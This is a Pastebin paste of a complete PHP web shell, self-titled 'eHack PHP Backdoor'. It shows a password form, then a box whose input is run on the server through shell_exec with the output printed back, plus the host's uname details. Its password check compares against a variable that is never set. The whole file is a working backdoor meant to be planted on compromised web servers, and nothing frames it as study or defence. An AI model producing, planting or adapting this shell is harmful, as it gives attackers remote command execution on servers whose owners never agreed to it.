shamp0erna99

eHack - webshell

Jul 2nd, 2020
241
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.69 KB | None | 0 0
  1. <?php
  2. session_start();
  3.  
  4. if(isset($_POST['password']) && $_POST['pass']){
  5. $pass=$_POST['pass'];
  6.  
  7. if($pass== $password){
  8.  
  9. $_SESSION['password']=$pass;
  10. }
  11.  
  12. else {
  13.  
  14. $error="Incorrect password";
  15. }
  16.  
  17. }
  18.  
  19. if(isset($_GET['logout'])){
  20. unset($_SESSION['password']);
  21. header("Location: ?");
  22. }
  23. ?>
  24.  
  25. <html>
  26. <title>eHack PHP Backdoor</title>
  27. <link rel="shortcut icon" href="https://cdn.teguh.co/images/favicon.png">
  28. <link href='https://fonts.googleapis.com/css?family=Oswald' rel='stylesheet' type='text/css'>
  29. <link href='https://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'>
  30. <link rel="stylesheet" href="https://cdn.teguh.co/css/hack.css">
  31. </head>
  32.  
  33. <body>
  34. <div align="center">
  35. <pre>
  36. ___ ___ __
  37. / | \_____ ____ | | __
  38. / ~ \__ \ _/ ___\| |/ /
  39. \ Y // __ \\ \___| <
  40. \___|_ /(____ /\___ >__|_ \
  41. \/ \/ \/ \/
  42. </pre>
  43. </div>
  44.  
  45. <div class="wrapper">
  46. <div class="panel panel-default">
  47.  
  48. <h1>eHack PHP BACKDOOR</h1>
  49. <center><p><?php echo substr(php_uname(),0,120);?></p></center>
  50. <?php
  51. session_start();
  52. if($_SESSION['password']== $password)
  53. {
  54. if (!empty($_POST['command'])) {
  55. $command = shell_exec($_POST['command']);
  56. }
  57. ?>
  58. <form method="post" action="">
  59. <input type="text" class="command" placeholder="Please enter your command" name="command" id="command" value="<?= htmlspecialchars($_POST['command']) ?>" required>
  60. <div>
  61. <p class="name-help">Please enter your command</p>
  62. </div>
  63. <input type="submit" class="submit" value="Run">
  64. </form>
  65. <?php if ($command): ?>
  66. <div>
  67. <div align="center"><h1> Result </h1></div>
  68. </div><br>
  69. <textarea rows="10">
  70. <?= htmlspecialchars($command) ?>
  71. </textarea>
  72. <?php elseif (!$command && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
  73. <div>
  74. <center><h1> Result </h1></center>
  75. </div><br>
  76. <textarea rows="10">Oops, there is no result
  77. <?php endif; ?>
  78. </textarea><br>
  79. <form method="post" action="" id="logout_form">
  80. <div align="center"><a href="?logout" id="confirm">LOGOUT</a></div>
  81. </form>
  82. <?php
  83. }
  84. else
  85. {
  86. ?>
  87. <form method="post" action="">
  88. <input type="password" class="password" placeholder="Password" name="pass">
  89. <input type="submit" name="password" class="submit" value="login">
  90. <div align="center"><br><p><?php echo $error; ?></p></div>
  91. </form>
  92. <?php
  93. }
  94. ?>
  95. </div>
  96. </div>
  97. <div align="center"><p>Made with <span style="color: #e25555;">&hearts;</span> by <a href="https://local-hunter.com">Teguh Aprianto</a></p></div>
  98. </body>
  99.  
  100.  
  101. </html>
Add Comment
Please, Sign In to add comment